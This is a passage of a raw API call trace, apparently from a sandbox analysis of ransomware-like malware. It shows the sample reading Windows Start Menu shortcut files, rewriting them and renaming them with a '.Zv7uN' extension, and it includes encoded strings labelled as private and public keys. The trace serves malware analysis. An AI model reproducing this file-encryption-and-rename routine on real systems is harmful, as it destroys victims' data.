lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.132] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.132] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4e2 [0132.132] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.132] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4e2, lpOverlapped=0x0) returned 1 [0132.136] CloseHandle (hObject=0x1dc) returned 1 [0132.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.138] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4e2, lpOverlapped=0x0) returned 1 [0132.140] CloseHandle (hObject=0x1dc) returned 1 [0132.140] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system information.lnk.zv7un")) returned 1 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] GetCurrentThreadId () returned 0xa30 [0132.142] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Restore.lnk", cAlternateFileName="SYSTEM~2.LNK")) returned 1 [0132.142] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.142] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.142] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de)) returned 1 [0132.144] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk")) returned 0x20 [0132.145] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk", dwFileAttributes=0x80) returned 1 [0132.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.148] GetCurrentThreadId () returned 0xa30 [0132.148] GetCurrentThreadId () returned 0xa30 [0132.148] GetCurrentThreadId () returned 0xa30 [0132.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.149] GetCurrentThreadId () returned 0xa30 [0132.149] GetCurrentThreadId () returned 0xa30 [0132.149] GetCurrentThreadId () returned 0xa30 [0132.149] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.149] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.149] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.149] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4de [0132.150] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.150] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4de, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x4de, lpOverlapped=0x0) returned 1 [0132.154] CloseHandle (hObject=0x1dc) returned 1 [0132.154] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.156] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x4de, lpOverlapped=0x0) returned 1 [0132.158] CloseHandle (hObject=0x1dc) returned 1 [0132.159] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk.zv7un")) returned 1 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] GetCurrentThreadId () returned 0xa30 [0132.160] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0132.160] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.161] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.161] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4)) returned 1 [0132.162] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk")) returned 0x20 [0132.162] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk", dwFileAttributes=0x80) returned 1 